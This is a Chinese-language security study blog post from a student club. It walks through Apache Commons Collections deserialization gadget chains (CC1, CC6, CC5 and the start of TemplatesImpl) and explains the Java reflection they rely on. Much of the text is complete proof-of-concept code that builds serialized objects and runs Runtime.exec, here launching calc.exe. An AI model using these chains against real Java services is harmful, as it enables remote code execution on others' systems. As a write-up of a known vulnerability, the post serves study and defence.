文章首发于先知社区。
皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
前言
方式与接口介绍
反射内容扩展
CommonsCollections 1
TransformedMap
LazyMap
CommonsCollections 6
CommonsCollections 5
CommonsCollections3
TemplatesImpl
CommonsCollections 7
CommonsCollections 2
PriorityQueue利用链
CommonsCollections 4
Ending
参考文章
Apache Commons Collections是一个扩展了Java
标准库里的Collection
结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类,被广泛运用于各种Java
应用的开发,目前常说的存在缺陷的版本是Apache Commons Collections 3.2.1
以下(4.0版本也是存在的)
其主要特点如下
Bag - Bag接口简化了每个对象具有多个副本的集合。
BidiMap - BidiMap接口提供双向映射,可用于使用键或键使用的值来查找值。
MapIterator - MapIterator接口为映射提供了简单和易于迭代方法。
转换装饰器 - 转换装饰器(Transforming Decorators)可以在集合添加到集合时改变集合的每个对象。
复合集合 - 复合集合用于要求统一处理多个集合的情况。
有序映射 - 有序映射保留元素添加的顺序。
有序集 - 有序集保留元素添加的顺序。
参考映射 - 参考映射允许在密切控制下对键/值进行垃圾收集。
比较器实现 - 许多比较器实现都可用。
迭代器实现 - 许多迭代器实现都可用。
适配器类 - 适配器类可用于将数组和枚举转换为集合。
实用程序 - 实用程序可用于测试测试或创建集合的典型集合理论属性,如联合,交集。支持关闭。
但是 其中却出现了严重的安全问题
来源于一个功能 —— 转换装饰器 可以在集合添加到集合时改变集合的每个对象。(CVE-2015-4852)
首先 我们搭建一下测试环境 JDK1.7 和 3.1版本的CC包
然后把我们的测试demo放进去
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
okok 至少是好用的 下面就可以开始分析了
同时 也放出p牛的极简版demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\\\WINDOWS\\System32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
也是ok的嗷
他是可以对Java标准数据结构 Map 做一个修饰 被修饰过的Map在添加新的元素时可以执行一个回调
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
我们可以通过上面这串代码 对innerMap进行修饰 传出的outerMap就是修饰后端Map 同时 可以通过TransformedMap.decorate() 方法 来获得一个TransformedMap的实例
官方文档中 keyTransformer是 处理新元素Key的回调 valueTransformer是处理新元素value的回调
这里的回调 并不是传统意义上的回调函数 而是一个实现了Transformer接口的类
他是一个接口 只有一个待实现的方法
public interface Transformer {
Object transform(Object var1);
}
TransformedMap 在转换 Map 的新元素时,就会调⽤ transform ⽅法,这个过程就类似在调⽤⼀个 回调函数 ,这个回调的参数是原始对象。
他是实现了Transformer接口的一个类 他的过程就是在构造函数时传入一个对象并在transform方法 将这个对象返回
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}public Object transform(Object input) {
return this.iConstant;
}
所以 他的作用就是 包装任意一个对象 在执行回调的时候 返回这个对象
InvokerTransformer 是 实现了Transformer接口的一个类 可以用来执行任意方法 也是反序列化的关键
在实例化这个InvokerTransformer的时候 需要三个参数 第一个是待执行的方法名 第二个是这个函数的参数列表的参数类型 第三个是传给这个函数的参数列表
一些继承
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
在这个类中实现的transform方法如下
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
就是执行了input 对象的iMethodName方法
这一段代码就是对于反射的实现 getClass() getMethod() invoke()
跟上面的一样 也是实现了Transformer接口的一个类 其作用是 将内部的多个Transformer串在一起 前一个回调返回的结果 作为后一个回调的参数传入
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
利用一个循环,把一串 transform 串起来
以一个栗子来说明 接口回调就像是上级领导要求你做某一件事,你在做完这个事之后向领导汇报你做完了、有什么结果,这个汇报的行为就是接口回调的概念所在。
在之前p牛的文章中 我们曾见到过这个函数 也就是 和Class.newInstance()一起介绍的
Class.newInstance() 只能够调用无参的构造函数,即默认的构造函数;但是 Constructor.newInstance() 可以根据传入的参数,调用任意构造构造函数。Class.newInstance() 要求被调用的构造函数是可见的,也即必须是 public 类型的,但是 Constructor.newInstance() 在特定的情况下,可以调用私有的构造函数,需要通过 setAccessible(true) 实现。
public T newInstance(Object... initargs)
throws InstantiationException, IllegalAccessException,
IllegalArgumentException, InvocationTargetException
首先 我们需要用到一个新的 反射方法 getConstructor 其与getMethod相类似 其接受的参数还是有 构造函数列表类型 因为 构造函数也支持重载 所以 必须用参数列表类型parameterTypes才能确定一个唯一的构造函数
public Constructor<T> getConstructor(Class<?>... parameterTypes) throws NoSuchMethodException,SecurityException
比如 我们常用的一种执行命令的凡是 ProcessBuilder 我们可以适用反射来获取其构造函数 然后调用start() 来执行命令 java.lang.ProcessBuilder中 有两个构造函数 但是都是有参数的 非默认的函数
public ProcessBuilder(List<String> command) public ProcessBuilder(String... command)
JDK安装目录下的jre\lib下的rt.jar存放的是所有的class文件,安装目录下的src.zip存放的是所有的源代码
我们还是可以利用forName来获取类的对象 然后后续再利用getMethod("")和 invoke() 获取构造方法 并调用start执行命令 这里参数可以直接写在Constructor.newInstance 中 作为构造方法的参数
package test;import java.util.Arrays;
import java.util.List;
public class test {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
}
}
或者 我们可以这样写
package test;import java.util.Arrays;
import java.util.List;
public class test {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
}
}
这样用到的就是一个强制类型转换 是在引用过程中发生的引用类型转换
如此写 我们可以省略掉 之前反射中的getMethod.invoke 的步骤
我们前面有提到 ProcessBuilder是有两个构造方法的
刚才上面是第一个 下面看一下第二个
public ProcessBuilder(String... command),这里是 JAVA 中的 可变长参数 ,当你定义函数的时候不确定参数数量的时候,可以使用 ... 这样的语法来表示“这个函数的参数个数是可变的” 也就是我们常说的可变参数 但是 在使用这种方式表达的时候 Java在编译的时候实际上会将其编译成一个数组 所以这种表达方式 和 String[] 这种表达方式 是等价的 且不能重载
也就是说 当我们传入一个数组的时候 这里的可变参数 实际上也是可以当数组来用的 我们认定其为数组就OK
所以 我们将字符串数组的类 String[].class 传给 getConstructor 获取ProcessBuilder的第二种构造函数
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)
在调用newInstance的时候 因为本身这个函数接受到的就是一个可变参数 是一个数组 我们传给ProcessBuilder的也是一个数组 叠加就会编程二维数组 String[][]
我们将上面的两个调用方法稍加修改
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})));
涉及到getDeclared系列的反射 与我们之前的getMethod的区别在于
getMethod系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
getDeclaredMethod系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了
现在我们可以这样 下面用到了一个getDeclaredConstructor() 可以获取一个私有的
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
这里用到了一个setAccessible 是必须的 我们获取到一个私有方法的时候 必须使用setAccessible修改其作用域 来打破私有方法的访问限制
我们可以先顺着main函数来看
一开始涉及到了 一个实例化接口的操作 虽说接口不能直接被实例化 但是 像这种情况出现 其后面肯定不止有接口 会存在一些匿名内部类 在匿名内部类的创建过程中 实际上实例化了一个实现接口 未命名的类
众所周知 在Java的多态中 父类可以引用指向子类对象
在这里也是一样 接口可以指向其实例化对象 实例化对象中 必然会实现接口中定义的方法和属性 同时 对象的类型必须是new出来的类型
Runnable runnable = new Runnable()
不过引用只能调用接口定义的方法 我们这里的数组声明就是这个概念的一个延申
插入 Java 数组的定义方法 dataType[] arratRefVar = xxx ,当然也可以像 PHP 一样把中括号跟在数组名后面,但是并不是首选的方法,首选方法还是写出来的这种。
再顺着看
在这里创建了一个ChainedTransformer包含两个Transformer 实现了Transformer接口的两个类 ConstantTransformer 和 InvokerTransformer 前者 用来得到Runtime 对象 后者调用Runtime对象的exec方法 后面跟了RCE的参数
再往下看
是一个实例化 ChainedTransformer 就是会将上面数组中写的几个Transformer串在一起
然后就是TransformedMap 因为 我们这里是一系列的回调 我们需要用其来包装innerMap 用我们一开始提到的decorate便可以
然后通过outerMap放入一个新的元素 就可以触发一串回调
当然 在实际中 自然不会有添加上的outerMap.put() 来触发回调 我们需要找到一个类 在反序列化readObject的时候有类似写入的操作
这里的用到的类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们看到它的 readObject 方法(8u71之前的代码):
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
这里的核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet()
和
memberValue.setValue(...)
memberValues就是反序列化之后得到的Map 经过了TransformeredMap修饰的对象 遍历了所有元素 并依次设置值 在调用setValue设置值的时候 就会触发TransformedMap里注册的Transform
所以 当我们构造poc的时候 就需要构建一个AnnotationInvocationHandler对象 将前面构造的HashMap放置进来
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。
AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map。为什么是Annotation类又为什么是要使用Retention.class呢
在上面我们构造了一个AnnotationInvocationHandler对象 他就是我们反序列化利用链的起点了 通过如下代码将这个 对象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
我们将这段代码拼接到demo代码的后面
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\\\WINDOWS\\System32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
但是好像还是不能直接生成一个序列化数据流
在writeObject的时候出现了问题 java.io.NotSerializableException: java.lang.Runtime
意思就是这个并不是一个支持序列化的对象 我们待序列化的对象 和 所有他使用的内部属性对象 必须都是实现了 java.io.Serializable 接口 我们最早传进去的Runtime.getRuntime() 中并没有实现此接口 所以不能被实例化
所以 我们需要用到反射 直接通过反射来获取当前上下文中的Runtime对象 并不需要直接使用到这个类
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("C:\\\\WINDOWS\\System32\\calc.exe");
我们融合进去就是 将Runtime.getRuntime() 换成 Runtime.class 前者是java.lang.Runtime 的一个对象 后者是java.lang.Class 对象 Class类又Serializable接口 可以被反序列化
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
在我们依据上面修改之后 输出了序列化之后的数据流 但是 反序列化 并没有弹出计算器 这是为什么捏
这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:
在我们满足以下两个条件的时候 var7不为null
sun.reflect.annotation.AnnotAationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
所以 在上面引入了Retention.class 在其中有一个方法 名为value 为了再满足第二条件 我们需要在map中放入一个键名为value的元素 也就是
innerMap.put("value", "xxxx");
但是 在高版本中 这个地方无法再进行利用 因为 对于AnnotAationInvocationHandler.readObject 已经被修改了
在这里 新添加了一个LinkedHashMap
这个LinkedHashMap
会将我们之前构造的键值给添加进去 同时 后续的put set操作 都是在基于这个新对象进行的 也就不会触发rce了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
LazyMap也是来自于Common-Collections 库 并继承AbstractMapDecorator
故名思意 其意为 懒加载 当你get不到值的时候 此类就会调用factory.transform方法 去获取一个值
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
与之前的TransformedMap不同之处在于 TransformedMap是在写入元素的时候 执行transform 而LazyMap 是在当你get找不到值的时候 会调用factory.transform获取一个值
在ysoserial中 是使用了AnnotationInvocationHandler类的invoke方法 来调用到get
调用栈
那么我们在之前TransformedMap可以直接完成我们的调用 但是在LazyMap中 我们还需要调用AnnotationInvocationHandler类的invoke 也就是 我们需要解决 从AnnotationInvocationHandler类的readObject 到 invoke的问题 在ysoserial中 使用到的是Java的对象代理
在这里 我们使用到 java.reflect.Proxy 来实现在静态语言中 对一个对象内部的方法进行调用 类似于 php中的__call
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
其中 newProxyInstance 方法有三个参数
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
loader 使用哪个类加载器 去加载代理对象 这个我们一般用默认的即可
interfaces 动态代理需要实现的接口 是我们需要代理的对象的集合
h 动态代理方法执行的时候 会调用h里面的invoke方法执行 一个 InvocationHandler
对象
package org.vulhub.Ser;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
在这个类 中 我们定义了一个invoke方法 也就是在模仿在AnnotationInvocationHandler的invoke方法 我们 现在需要从外部调用这个invoke方法
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
在这里 h参数的位置 填入了我们之前写出的一个ExampleInvocationHandler类 也就是会调用到其中的invoke方法 虽然我们传入了helloworld 但还是 输出了 Hacked Object 我们可以如法炮制 在AnnotationInvocationHandler处也如此操作
sun.reflect.annotation.AnnotationInvocationHandler
也是一个 InvocationHandler
对象 我们将这个对象 使用 Proxy代理 当我们调用任何方法 都会进入到invoke中
我们代理的对象 是proxyMap 但是我们不能直接进行序列化 我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject
我们需要使用AnnotationInvocationHandler
将其包裹一下 AnnotationInvocationHandler
是继承了serializable接口的
cc6解决的是 cc1 在jdk高版本中无法成功利用的问题
先给出ysoserial的利用链
与之前有所不同的是 在cc6中 没有再使用AnnotationInvocationHandler
中的readObject 但是最后落脚点还是再LazyMap的get方法上
同时 给出p牛的简化版的利用链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
也就是说 在这里 我们还是需要再找一个调用到LazyMap.get() 的地方 于是乎 我们盯上了TiedMapEntry
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
其中 构造函数TiedMapEntry map是我们可控的 同时 再getValue中调用了map.get 在hashCode中 又调用了getValue
那么 任务就变成了找哪里调用到了 TiedMapEntry#hashCode()
在ysoserial中 使用了3步 而在p牛的步骤中 从java.util.HashSet#readObject 中 就能找到 HashMap#hash()
的调用
调用栈是这样子的
接下来我们来手动写一下gadget
先将transformchain写出来
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformer);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
这里还先构造了一个fakeTransformers 可以避免在本地调试的时候 触发命令执行 只需要在最后将我们的transformers替换进去即可
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
然后需要把我们上面构造的outerMap 放到 TiedMapEntry中
TiedMapEntry tme = new TiedMapEntry(outerMap,"key");
后面 我们还需要 调用到 TiedMapEntry#hashCode()
方法 我们需要将tme对象作为HashMap中的一个key 这里我们需要新建一个HashMap
补上 生成序列化字符串 和本地测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
构造完成之后 尝试运行 但是 并没有弹出计算机
在我们进行调试找问题的时候 我们发现
因为key值不为空 进入了else语句 而 我们所需要的是在上面transform
那么 我们需要在原有的利用链上 稍加修改 将这个key去掉 得到如下的poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
我们在加上了outerMap.remove("keykey");
确实将key去掉了
可在Java7 和 8 的高版本触发 没版本限制
先给出 ysoserial的调用链
同样与 CC6 比较一下
这里没有再使用HashMap 来作为readObject之后的入口 使用了BadAttributeValueExpException
来触发TiedMapEntry.toString在上面 我们使用了TiedMapEntry的getvalue方法 这里我们使用toString 我们看一下toString方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
在toString中 依旧是调用到了getValue方法 后面也就是和CC6链相同了
那么现在我们的问题在于 找一个调用了toString的地方
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
这里在BadAttributeValueExpException
中 存在toString的调用 val是私有变量 并不能被直接调用 我们需要使用反射来调用
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);//设置可以访问
val.set(badAttributeExpException, tiedMapEntry);
这里的Field也就是java.lang.reflect.Field,是成员变量类
当你使用Class.getField()
获取非公有的变量的时候 会报错 下面这张图给出了几种方法
我们这里使用getDeclaredField方法 成功利用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
//TiedMapEntry 实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
//BadAttributeValueExpException 实例
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射设置 val
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类中定义了一个内部类 TransletClassLoader 在此类中重写了defineClass方法
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
且没有声明定义域 那么 默认的定义域就是default 可以被外部所调用的 但是 这个方法在其父类之中 是一个protected类型的方法 这也就给我们提供了可乘之机
其大体的调用链是这样的
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
在这个调用链中 最起始的两个方法 都是用public方法声明的 那么 我们就可以从外部来调用这两个方法
byte[] code =
Base64.getDecoder().decode("xxxx");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
